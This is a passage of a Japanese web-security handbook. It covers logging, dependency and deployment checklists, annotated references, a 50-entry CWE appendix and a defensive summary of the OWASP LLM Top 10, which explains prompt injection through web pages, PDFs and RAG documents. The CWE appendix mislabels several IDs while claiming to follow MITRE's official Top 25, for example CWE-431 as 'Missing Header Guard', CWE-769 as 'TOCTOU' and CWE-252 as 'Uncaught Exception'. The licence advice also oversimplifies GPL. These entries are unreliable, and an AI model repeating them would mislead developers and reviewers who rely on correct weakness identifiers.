エラー・ログ管理
-
[ ] エラーメッセージで技術情報を公開しない
- ユーザーに返すエラーメッセージ:「エラーが発生しました」など一般的メッセージ
- 詳細(SQL エラー、スタックトレース)はサーバーログのみ
- 攻撃者の情報収集を防止
-
[ ] 監査ログ(誰が何をしたか)を記録
- ユーザー ID、タイムスタンプ、アクション、結果を記録
- ログイン・ログアウト、データ変更、権限昇格など重要イベント
- 誰が何をしたか後で追跡可能に
-
[ ] ログを改ざん防止の仕組みで保護
- Append-only ストレージ(AWS CloudTrail など)
- 別サーバーのログ集約システムに転送
- ログファイルの削除を技術的に禁止
-
[ ] 定期的なログ分析・異常検知
- SIEM(Splunk、ELK)でリアルタイム分析
- 異常パターン検知(ログイン失敗多発、データアクセス異常など)
- アラート通知設定
依存関係管理
-
[ ]
npm auditを定期実行- CI/CD パイプラインに組み込み
- 毎日自動実行、脆弱性検出時に通知
npm audit fixで自動修正を試みる
-
[ ] 脆弱性が発見された依存関係を速やかに更新
- CRITICAL レベル:即座に修正・デプロイ
- HIGH レベル:1 週間以内
- 更新前に、テストスイートで互換性確認
-
[ ] ライセンス確認(GPL など制限的ライセンス除外)
- GPL ライセンスはコピーレフト(ソースコード公開義務)
- 商用アプリケーションに非互換
- MIT、Apache 2.0、BSD は自由度が高い
デプロイ・運用
-
[ ] デバッグモードは本番環境で無効
- DEBUG=true でスタックトレースが公開される
- 開発環境のみで有効化
- 本番環境では環境変数で制御
-
[ ] デフォルト認証情報を変更
- ルーター:admin/admin
- データベース:root/root
- SSH:ec2-user など
- 初期デプロイ時に必ず強力なパスワードに変更
-
[ ] 定期的なセキュリティスキャン
- 週 1 回以上の脆弱性スキャン(Qualys、Nessus など)
- 依存関係スキャン:毎日
- SAST(静的コード解析):コミット時に自動実行
-
[ ] ペネトレーションテストの実施(年 1 回以上)
- 第三者のセキュリティ専門家による侵入テスト
- 実際の攻撃シナリオをシミュレーション
- 脆弱性レポートを受け取り、修正優先順位を決定
-
[ ] セキュリティパッチの迅速な適用
- OS、ウェブサーバー、フレームワークのセキュリティアップデート
- CRITICAL パッチ:24 時間以内の適用
- 定期メンテナンスウィンドウを設定
参考資料・学習リソース
2026年4月24日時点で、以下のリンクを上から確認し、本文との対応関係を見直しています。
特に OWASP、NIST、MDN、IETF、W3C、MITRE、FIRST は、本文の根拠として使う一次資料です。
一方、学習サイトやツール提供元のページは、実践や導入の補助資料として位置付けています。
本文中の参照リンクは、原則として 一次資料 → 実装ガイド → 演習 / ツール の順で並べています。
迷ったときは、まず一次資料を確認し、そのあとで演習サイトやツールの解説へ進む読み方を推奨します。
今回の確認で本文へ反映した主な点
OWASP Top 10 2025各カテゴリの説明と代表的な CWE表を整合させたOWASP ASVSは現行 stable が5.0.0であることを反映したOWASP API Security Top 10は2023版を前提に、BOLA(Broken Object Level Authorization: オブジェクト単位の認可不備) / BFLA(Broken Function Level Authorization: 機能単位の認可不備) / API 認可の補強に使ったOWASP WSTGは「実装だけでなく、どう検証するか」の資料として位置付け直したNIST CSFはCSF 2.0として表記を更新したCIS Controlsはv8.1として表記を更新したNVDは NIST の紹介ページではなく、実際のデータベースであるhttps://nvd.nist.gov/に修正したMDN SameSiteはSet-Cookieの属性説明へ直接飛ぶ URL に修正したRFC 7519、WebAuthn Level 3、CVSS v4.0、CWE Top 25を、JWT / Passkeys / CVSS / CWE 節の根拠として使う形に整理した
公式ドキュメント・標準
- OWASP Top 10 2025 — Web アプリケーションの主要リスク分類。本文の
A01〜A10の土台 - OWASP Application Security Verification Standard (ASVS) — アプリケーションの技術的セキュリティ要件集。現行 stable は
5.0.0 - OWASP Web Security Testing Guide (WSTG) — Web アプリと Web サービスのテスト手引き。実装だけでなく検証観点の補強に有用
- OWASP API Security Top 10 (2023) — API1〜API10 による API 特有のリスク整理。BOLA(オブジェクト単位の認可不備)/ BFLA(機能単位の認可不備)の根拠
- OWASP Cheat Sheet Series — 実装時の具体策を引ける実務向けチートシート集
- A01 Broken Access Control - OWASP Top 10:2025
- A03 Software Supply Chain Failures - OWASP Top 10:2025
- A04 Cryptographic Failures - OWASP Top 10:2025
- A07 Authentication Failures - OWASP Top 10:2025
- A10 Mishandling of Exceptional Conditions - OWASP Top 10:2025
- REST Security Cheat Sheet - OWASP
- GraphQL Cheat Sheet - OWASP
- Cross-Site Request Forgery Prevention Cheat Sheet - OWASP
- NIST SP 800-63B-4 — 認証と認証器管理の政府系ガイドライン
- NIST Cybersecurity Framework (CSF 2.0) — 組織横断のリスク管理フレームワーク
- National Vulnerability Database (NVD) — CVE / CPE / CVSS を横断参照する実データベース
- CIS Controls v8.1 — 優先順位付きの実践的セキュリティ対策集
- CWE Top 25 - MITRE — 毎年公表される代表的な危険弱点一覧
- MITRE ATT&CK — 攻撃者の戦術・技術・手順を整理したナレッジベース
- CVSS v4.0 Specification - FIRST — CVSS の現行仕様
- JSON Web Token (JWT) - RFC 7519 — JWT の定義元仕様
- Web Authentication Level 3 (WebAuthn) - W3C — Passkeys / WebAuthn の仕様
- Set-Cookie / SameSite - MDN —
SameSiteは独立ヘッダーではなくSet-Cookie属性 - Content-Security-Policy (CSP) - MDN — CSP ディレクティブの実装参照
Webセキュリティ学習
- PortSwigger Web Security Academy — 無料の対話型学習。XSS、SQLi、CSRF、SSRF、GraphQL、JWT、API testing まで広い
- HackTheBox — ハンズオン labs、Academy、CTF を含む実践学習基盤
- TryHackMe — 初学者にも入りやすいインタラクティブ学習プラットフォーム
補足:
PortSwigger Web Security Academyは本文の攻撃手法章と最も相性がよい実践教材です。特にXSS、CSRF、SSRF、GraphQL、JWT attacksの再現練習に向いています。HackTheBoxとTryHackMeは学習難度や出題形式が異なるため、本文の根拠資料ではなく、演習用リソースとして扱っています。
ツール・スキャナ
- Burp Suite Community — 手動テスト中心の Web 脆弱性検証ツール(無料版あり)
- OWASP ZAP — 自動スキャン・ペネトレーションテスト
- Snyk — 依存関係脆弱性スキャン
- npm audit — Node.js 脆弱性チェック
- Trivy — コンテナ、Kubernetes、リポジトリ、クラウド、SBOM(Software Bill of Materials: ソフトウェア部品表)まで見る総合スキャナ
- Prowler — クラウド設定監査とセキュリティ評価
- ScoutSuite — マルチクラウド設定監査ツール
補足:
Burp Suite Communityは手動テストの入門に非常に強く、Proxy、Repeater、リクエスト改変の学習に向いています。無料版は自動化より手動検証向けです。OWASP ZAPはオープンソースの DAST として導入しやすく、CI や定期スキャンの入口として使いやすいです。Snykとnpm auditは依存関係脆弱性の把握に向いていますが、アプリの認可不備やビジネスロジックは見つけません。Trivyは依存関係だけでなく、misconfiguration、secrets、SBOMまで対象にできるため、サプライチェーン節との相性が良いです。ProwlerとScoutSuiteはアプリ脆弱性スキャナというより、クラウド設定監査・セキュリティ姿勢評価のツールとして位置付けるのが正確です。
トレーニング・資格
- SANS Cyber Aces — 無料セキュリティトレーニング
- CEH (Certified Ethical Hacker) — 商用の実務系資格。2026年4月時点では
v13
補足:
SANS Cyber Acesは無料基礎教材として有用ですが、本文の仕様根拠ではなく学習導線です。CEHは知名度の高い資格ですが、標準や仕様そのものではないため、本文の根拠資料ではなくキャリア・学習の補助情報として扱います。
付録 A: 重要 CWE 50選
概要
この章に対応する参考資料:
CWE(Common Weakness Enumeration)について、MITRE が公式に毎年公開しているのは Top 25 です。 この付録では、その公式 Top 25 を土台にしつつ、Web アプリ実装者が実務で遭遇しやすい項目を追加して 学習用に 50 件へ拡張 しています。
そのため、前半ほど MITRE の公式ランキングとの整合が強く、後半は実装・学習上の重要性を重視した補足項目です。
重要 CWE 50選 リスト
以下の 1〜25 は、MITRE が公開する CWE Top 25 を土台にした中核項目です。
26〜50 は、本書が Web アプリ実装・運用の観点から補足した追加項目です。
公式 Top 25 ベース
| 順位 | CWE ID | 名称 | 説明 | 対策 | 悪用頻度 |
|---|---|---|---|---|---|
| 1 | CWE-79 | Cross-site Scripting / クロスサイトスクリプティング (XSS) | ウェブページ生成時の不適切な入力処理により、ユーザーのブラウザで悪意あるスクリプトが実行される | HTML エンコーディング、CSP、入力検証、DOMPurify ライブラリ | 極高 |
| 2 | CWE-89 | SQL Injection / SQL インジェクション | SQL コマンドに直接ユーザー入力を埋め込み、不正な SQL クエリが実行される | パラメータ化クエリ、入力検証、最小権限の DB ユーザー | 極高 |
| 3 | CWE-352 | Cross-Site Request Forgery / クロスサイトリクエストフォージェリ (CSRF) | ユーザーが気づかないうちに、別サイトから不正リクエストが送信される | CSRF トークン、SameSite クッキー、Referer チェック | 高 |
| 4 | CWE-862 | Missing Authorization / 認可漏れ | リソースアクセス時に権限確認が不十分、または全く行われない | サーバー側で全エンドポイントに認可チェック、所有権確認 | 高 |
| 5 | CWE-787 | Out-of-bounds Write / 境界外書き込み | バッファに割り当てられたメモリ境界を超えてデータが書き込まれ、システムクラッシュやコード実行につながる | 言語の境界値チェック、Address Sanitizer、型安全言語 | 中 |
| 6 | CWE-799 | Improper Control of Interaction Frequency / 相互作用頻度の不適切な制御 | ユーザーのアクション(ログイン試行、API 呼び出し)に対するレート制限が不適切 | レート制限 実装、IP 単位の制限、指数バックオフ | 中 |
| 7 | CWE-434 | Unrestricted Upload of File with Dangerous Type / 危険なファイル型の無制限アップロード | ファイルアップロード時に拡張子・形式の検証が不十分 | 拡張子・MIME タイプ・マジックバイト検証、ウイルススキャン | 高 |
| 8 | CWE-190 | Integer Overflow or Wraparound / 整数オーバーフロー | 整数値が最大値を超えた場合の処理が不適切 | 境界値チェック、言語のオーバーフロー検出、SafeInt ライブラリ | 低 |
| 9 | CWE-125 | Out-of-bounds Read / 境界外読み込み | バッファの境界を超えてデータが読み込まれ、機密情報漏洩につながる | 境界チェック、AddressSanitizer、メモリ安全言語 | 低 |
| 10 | CWE-20 | Improper Input Validation / 不適切な入力検証 | ユーザー入力の型・長さ・形式が十分に検証されない | 型チェック、長さチェック、ホワイトリスト 検証、正規表現 | 極高 |
| 11 | CWE-200 | Exposure of Sensitive Information / 機密情報の露出 | パスワード、API キー、個人情報などが意図せず公開される | ログ出力時のマスキング、エラーメッセージ隠蔽、アクセス制御 | 高 |
| 12 | CWE-918 | Server-Side Request Forgery / サーバーサイドリクエストフォージェリ (SSRF) | Webアプリケーションが攻撃者の指定 URL にアクセスさせられ、内部ネットワークが暴露される | URL ホワイトリスト、内部 IP ブロック、プロトコル制限 | 中 |
| 13 | CWE-611 | Improper Restriction of XML External Entity Reference / XXE 攻撃 | XML パーサーが外部エンティティを処理し、ローカルファイル読み込みや XXE 攻撃が可能 | 外部エンティティ無効化、DTD 禁止、スキーマ検証 | 中 |
| 14 | CWE-345 | Insufficient Verification of Data Authenticity / データ真正性検証不足 | 受信データの真正性(デジタル署名、メッセージ認証)が十分に検証されない | デジタル署名 検証、HMAC、メッセージ認証コード | 中 |
| 15 | CWE-863 | Incorrect Authorization / 不正な認可 | リソースアクセスの権限確認が実装されているが、ロジックが誤っている | 権限確認ロジックの徹底テスト、アクセス制御マトリックス検証 | 高 |
| 16 | CWE-522 | Insufficiently Protected Credentials / 認証情報の不十分な保護 | パスワード、API キー、トークンがソースコードや平文で保存される | 環境変数・Secret Manager、bcrypt/argon2 ハッシング | 高 |
| 17 | CWE-502 | Deserialization of Untrusted Data / 信頼できないデータの逆シリアライゼーション | 信頼できないデータをデシリアライズする際、悪意あるオブジェクトがインスタンス化され、コード実行につながる | JSON 使用、署名検証、ホワイトリスト、型チェック | 中 |
| 18 | CWE-287 | Improper Authentication / 不適切な認証 | ログイン機能が不十分、セッション管理に欠陥がある | MFA、強力なパスワード要件、セッション ID ランダム化 | 高 |
| 19 | CWE-476 | NULL Pointer Dereference / NULL ポインタ参照 | NULL ポインタを参照しようとしてアプリケーションがクラッシュ | NULL チェック、Optional 型使用、静的解析ツール | 低 |
| 20 | CWE-252 | Uncaught Exception / キャッチされない例外 | 発生した例外が処理されず、エラー情報が公開される可能性 | 全例外を try-catch で処理、ジェネリック例外メッセージ | 低 |
| 21 | CWE-22 | Path Traversal / パストトラバーサル | ファイルパスに ../ を使用してサーバーの想定外のディレクトリにアクセス可能 |
パス正規化、ホワイトリスト 検証、chroot / コンテナ隔離 | 中 |
| 22 | CWE-327 | Use of Broken Cryptographic Algorithm / 破られた暗号化アルゴリズムの使用 | MD5、SHA-1、DES などの弱い暗号化アルゴリズムを使用 | SHA-256/3、AES-256、bcrypt/argon2、TLS 1.3 | 中 |
| 23 | CWE-388 | Error Handling with Sensitive Information / 機密情報を含むエラー処理 | エラーメッセージにパスワード、API キー、DB 接続情報が含まれる | クライアント向けメッセージ一般化、詳細情報をサーバーログのみ | 中 |
| 24 | CWE-444 | HTTP Request Smuggling / HTTP リクエストスマグリング | 複数のサーバー(ロードバランサー・プロキシ・Webサーバー)が HTTP リクエストを異なる方法で解析 | HTTP/2・HTTP/3 への移行、Transfer-Encoding と Content-Length 検証 | 低 |
| 25 | CWE-400 | Resource Exhaustion / リソース枯渇 | メモリ、ディスク、CPU などのシステムリソースが無限に消費され、DoS 状態になる | リソース制限、タイムアウト設定、接続数制限 | 中 |
本書の追加 25 項目
以下は、Web セキュリティ実務で遭遇しやすい論点を補うために、本書が追加した項目です。 公式順位ではなく、学習上の優先度を意識した補足リストとして読んでください。
| 順位 | CWE ID | 名称 | 説明 | 対策 | 悪用頻度 |
|---|---|---|---|---|---|
| 26 | CWE-798 | Hard-Coded Credentials / ハードコードされた認証情報 | パスワード、API キー、接続文字列がソースコードに埋め込まれている | 環境変数、Secret Manager、.gitignore で除外 | 中 |
| 27 | CWE-295 | Improper Certificate Validation / 証明書検証不足 | HTTPS 通信時に SSL/TLS 証明書の検証が不十分 | 証明書チェーン検証、ホスト名検証、証明書ピニング | 中 |
| 28 | CWE-640 | Weak Password Recovery / 弱いパスワード回復機構 | パスワードリセット機能が脆弱(セキュリティ質問、予測可能なトークン) | ランダムトークン、有効期限設定、メール確認、現在のパスワード確認 | 中 |
| 29 | CWE-639 | Authorization Bypass / 認可バイパス | ユーザーが権限確認用のパラメータ(role、user_id)を改ざん可能 | DB からロール取得、JWT 署名検証、リソース所有権確認 | 中 |
| 30 | CWE-601 | Open Redirect / オープンリダイレクト | リダイレクト先が検証されず、攻撃者のサイトにユーザーが誘導される | ホワイトリスト 検証、相対 URL のみ許可、フラグメント ID チェック | 中 |
| 31 | CWE-94 | Code Injection / コードインジェクション | 動的にコード生成・実行される際、ユーザー入力が直接含まれる | eval() 回避、ホワイトリスト 検証、テンプレートエンジン使用 | 低 |
| 32 | CWE-426 | Untrusted Search Path / 信頼できないサーチパス | アプリケーションが不安全なパスからライブラリ・スクリプトを読み込む | 絶対パス指定、PATH 環境変数制限、ディレクトリ権限確認 | 低 |
| 33 | CWE-306 | Missing Authentication for Critical Function / 重要機能の認証漏れ | 重要な機能(管理画面へのアクセス、データ削除)に認証が不要 | 全エンドポイントで認証要求、ロール確認、セッション検証 | 高 |
| 34 | CWE-362 | Race Condition / レース条件 | 複数プロセスが同時に同一リソースにアクセス、意図しない状態になる | トランザクション 管理、ロック 機構、楽観的ロック | 低 |
| 35 | CWE-649 | Integrity Checking Not Applied / 整合性チェック未適用 | 入力の整合性・真正性を検証せず、単に難読化・暗号化のみ | HMAC 署名、デジタル署名、メッセージ認証 | 低 |
| 36 | CWE-330 | Insufficient Random Values / 不十分なランダム値 | 暗号的に安全でない乱数生成器を使用(Math.random() など) | SecureRandom、os.urandom()、crypto.randomBytes() | 中 |
| 37 | CWE-129 | Array Index Validation / 配列インデックス検証 | 配列インデックスが負の値やサイズを超える値でないか検証されない | 範囲チェック、境界値テスト、静的解析 | 低 |
| 38 | CWE-431 | Missing Header Guard / ヘッダーガード欠落 | C/C++ のヘッダーガードが不十分で、多重インクルッド | #ifndef/#define/#endif または #pragma once 使用 | 低 |
| 39 | CWE-95 | Eval Injection / Eval インジェクション | eval()、exec() などの関数がユーザー入力を直接受け取る | eval() 完全回避、ホワイトリスト 検証、JSON.parse() 使用 | 低 |
| 40 | CWE-189 | Numeric Errors / 数値計算エラー | 数値計算時にオーバーフロー、アンダーフロー、精度喪失が発生 | 型チェック、境界値検証、BigDecimal 使用 | 低 |
| 41 | CWE-248 | Uncaught Exception / キャッチされない例外 | 例外がキャッチされずスタックトレースが公開される | グローバル例外ハンドラ、ログ記録、ジェネリックエラーメッセージ | 低 |
| 42 | CWE-628 | Incorrect Arguments / 不正な引数 | 関数呼び出しの引数が誤っている、またはタイプミス | 型チェック、IDE 補完、ユニットテスト、リント | 低 |
| 43 | CWE-482 | Comparing vs Assigning / 比較演算子と代入演算子の混同 | 比較演算子 == と代入演算子 = の誤り |
リント設定、IDE 警告、コード審査 | 低 |
| 44 | CWE-665 | Improper Initialization / 不適切な初期化 | 変数・オブジェクトが初期化されないまま使用される | 変数初期化強制、IDE 警告、UnusedVariable チェック | 低 |
| 45 | CWE-769 | TOCTOU / Time-of-Check-Time-of-Use | オブジェクト作成後、セキュアな状態になる前にアクセス可能になる | TOCTOU 回避、アトミック操作、ロック 機構 | 低 |
| 46 | CWE-831 | Multiple Signal Handlers / 複数シグナルハンドラ | シグナルハンドラが複数のシグナルに関連付けられ、予期しない動作 | シグナル処理の最小化、async-signal-safe 関数のみ | 低 |
| 47 | CWE-564 | SQL Injection: ORM / ORM での SQL インジェクション | Hibernate ORM ライブラリ使用時の SQL インジェクション | HQL パラメータ化、ネイティブクエリ時のバインド変数 | 低 |
| 48 | CWE-581 | Object Model Violation / オブジェクトモデル違反 | Java で equals() メソッドのみ実装し、hashCode() を実装していない | equals() と hashCode() の両方実装、IDE 警告有効化 | 低 |
| 49 | CWE-397 | Generic Exception Declaration / 汎用例外宣言 | メソッドが汎用例外(Exception)をスローすると宣言 | 具体的な例外型を指定、カスタム例外クラス | 低 |
| 50 | CWE-613 | Session Expiration / セッション有効期限 | セッションのタイムアウト設定がない、または長すぎる | アイドルタイムアウト設定(15~30 分)、絶対タイムアウト | 中 |
CWE 脆弱性を減らすための戦略
1. 開発段階(Prevention)
- セキュアコーディング教育 — OWASP Top 10、CWE Top 25 の定期トレーニング
- コード審査 — ピアレビュー時に脆弱性パターンをチェック
- SAST(Static Application Security Testing: 静的アプリケーションセキュリティテスト) — SonarQube、Semgrep などで自動検出
2. テスト段階(Detection)
- ユニットテスト — 入力検証、認可ロジックのテストケース
- DAST(Dynamic Application Security Testing: 動的アプリケーションセキュリティテスト) — OWASP ZAP、Burp Suite で脆弱性スキャン
- ペネトレーションテスト — セキュリティ専門家による侵入テスト
3. デプロイ・運用(Remediation)
- 依存関係スキャン — npm audit、Snyk で既知脆弱性を特定
- WAF(Web Application Firewall) — SQL インジェクション、XSS などを検知・ブロック
- 監視・アラート — SIEM(Security Information and Event Management)、EDR(Endpoint Detection and Response: エンドポイント監視と対応)で異常検知
CWE / CVE / CVSS / NVD の関係
ここも略称が多いですが、「弱点の種類」「個別の脆弱性」「深刻度の点数」「それを探すデータベース」と考えると追いやすくなります。
CWE(弱点の種類)
↓
CVE(Common Vulnerabilities and Exposures: 個別の脆弱性)
↓
CVSS(Common Vulnerability Scoring System: 深刻度の表現)
↓
NVD(National Vulnerability Database: 脆弱性データベースと付加情報)
例:
- CWE-89 — SQL インジェクションという「弱点の型」
- CVE-2021-44228 — Log4j に存在した「個別の脆弱性」
- CVSS 10.0 — その脆弱性の技術的深刻度の表現
- NVD — CVE に対して CVSS や CPE などの補足情報を提供するデータベース
それぞれの役割:
- CWE は「どういう設計・実装ミスか」を分類するためのもの
- CVE は「どの製品のどの脆弱性か」を識別するための ID
- CVSS は「その脆弱性がどの程度深刻か」を共通尺度で示すもの
- NVD は NIST が運営する脆弱性情報基盤で、CVE を横断的に検索・分析するのに使う
注意点:
- CVSS は「リスク」そのものではなく、主に技術的深刻度の指標
- 実際の優先度は、公開状況、資産価値、インターネット露出、悪用有無も合わせて判断する
- FIRST の現行仕様は CVSS v4.0 だが、ツールや資料では v3.1 併記もまだ多い
参考資料
- MITRE CWE Official Top 25 — 最新年版の CWE Top 25
- National Vulnerability Database (NVD) — CVE / CVSS / CPE を横断参照
- CVSS v4.0 Specification - FIRST — CVSS の現行仕様
- CWE Database — 全 CWE(1000+)の詳細定義
補足: OWASP for LLM / GenAI
この章に対応する参考資料:
- OWASP GenAI Security Project
- OWASP Top 10 for LLM Applications 2025
- OWASP GenAI Security Project promoted to Flagship status (March 26, 2025)
- OWASP Top 10 for Large Language Model Applications
Web アプリケーション向けの OWASP Top 10 に加えて、生成 AI や LLM(Large Language Model: 大規模言語モデル)アプリケーション向けには OWASP GenAI Security Project が公開されています。 2025 年版では、従来の「OWASP Top 10 for LLM Applications」が OWASP GenAI Security Project の中核資料として継続しており、LLM 固有の攻撃面を整理しています。
OWASP LLM Top 10 2025 の主な項目
| 項目 | 概要 |
|---|---|
| LLM01 Prompt Injection | 入力や外部文書に埋め込まれた指示で、モデルの振る舞いを不正に変える |
| LLM02 Sensitive Information Disclosure | 会話履歴、個人情報、秘密情報、内部プロンプトなどが漏洩する |
| LLM03 Supply Chain | モデル、データ、ライブラリ、ホスティング基盤の供給網リスク |
| LLM04 Data and Model Poisoning | 学習データ、微調整データ、埋め込みデータの汚染 |
| LLM05 Improper Output Handling | モデル出力を未検証のまま UI や下流システムへ渡す |
| LLM06 Excessive Agency | LLM に過剰な権限やツール実行能力を与えてしまう |
| LLM07 System Prompt Leakage | system prompt や内部ルールが漏れる |
| LLM08 Vector and Embedding Weaknesses | RAG(Retrieval-Augmented Generation: 検索拡張生成)やベクトル検索基盤の弱点 |
| LLM09 Misinformation | もっともらしい誤情報や不正確な出力 |
| LLM10 Unbounded Consumption | トークン、計算資源、外部 API 利用が無制限に膨らむ |
ここでいう Prompt Injection は、ユーザー入力や外部文書の中に紛れた命令でモデルの挙動をねじ曲げることです。Improper Output Handling はモデル出力を未検証のまま他の画面や処理へ流すこと、Excessive Agency は LLM に強すぎる権限やツール実行能力を与えることを指します。
Web セキュリティとの接続ポイント
-
Prompt Injection は LLM 時代の Injection
- 従来の SQLi や XSS と同じく、「入力が意図しない制御へ変わる」問題です。
- 特に indirect prompt injection は、Web ページ、PDF、メール、RAG 文書など外部コンテンツ経由で起きます。
-
Improper Output Handling は XSS / Command Injection に直結する
- LLM 出力をそのまま HTML、SQL、シェル、コード生成、テンプレートへ流すと、従来型の脆弱性へ変換されます。
- モデル出力も「信頼できない入力」として扱う必要があります。
-
Excessive Agency は Broken Access Control に近い
- LLM がメール送信、購買、ファイル削除、DB 更新などのツールを直接呼べる構成では、認可不備が重大化します。
- 「モデルが判断したから実行する」は危険で、ツール呼び出し前に別レイヤで認可確認が必要です。
-
Vector / Embedding Weaknesses は新しいデータ境界問題
- RAG では、検索対象文書の真正性や機密性がそのまま回答品質と漏洩リスクに直結します。
- 文書混入、検索汚染、メタデータ権限漏れなどは、従来のアクセス制御やデータ整合性問題の延長線上にあります。
Embedding は文書を検索しやすい数値表現へ変換したもの、Vector はその数値列です。RAG ではこのベクトル検索基盤が壊れると、間違った文書や見せてはいけない文書をモデルが参照しやすくなります。
実装者向けの基本対策
- モデル入力、外部文書、ツール応答、モデル出力のすべてを 信頼しない
- system prompt だけに安全性を依存しない
- モデル出力を UI や API 応答へ出す前に、用途別に検証・サニタイズする
- LLM が呼べるツールは最小権限にし、重要操作は人間承認や再認証を挟む
- RAG では文書の出所、権限、改ざん検知、インデックス更新経路を管理する
- トークン使用量、API 呼び出し回数、外部ツール実行回数に上限を設ける
- 会話ログやプロンプトログに秘密情報を残しすぎない
- AI 機能も通常の Web 機能と同じく、監査ログ・アラート・レート制限の対象にする
この文書との読み分け
- 本文の XSS、CSRF、認可、ログ、サプライチェーン、例外処理 は、LLM アプリでもそのまま重要です
- そのうえで、OWASP GenAI / LLM Top 10 は prompt、RAG、モデル出力、ツール連携 という AI 固有の追加層を扱います
- つまり、LLM アプリの防御は「Web セキュリティ + AI 固有リスク」の二層で考えるのが実務的です
参考
- OWASP GenAI Security Project
- OWASP Top 10 for LLM Applications 2025
- OWASP Top 10 for Large Language Model Applications
- LLM01:2025 Prompt Injection
まとめ
Web セキュリティでは、入力検証、認証と認可、セッション管理、ブラウザ制御、依存関係管理、監視運用が相互につながっています。攻撃名を個別に覚えるよりも、「どの入力がどの権限でどこまで届くか」を追いながら読むと、実装とレビューの両方で使いやすい知識になります。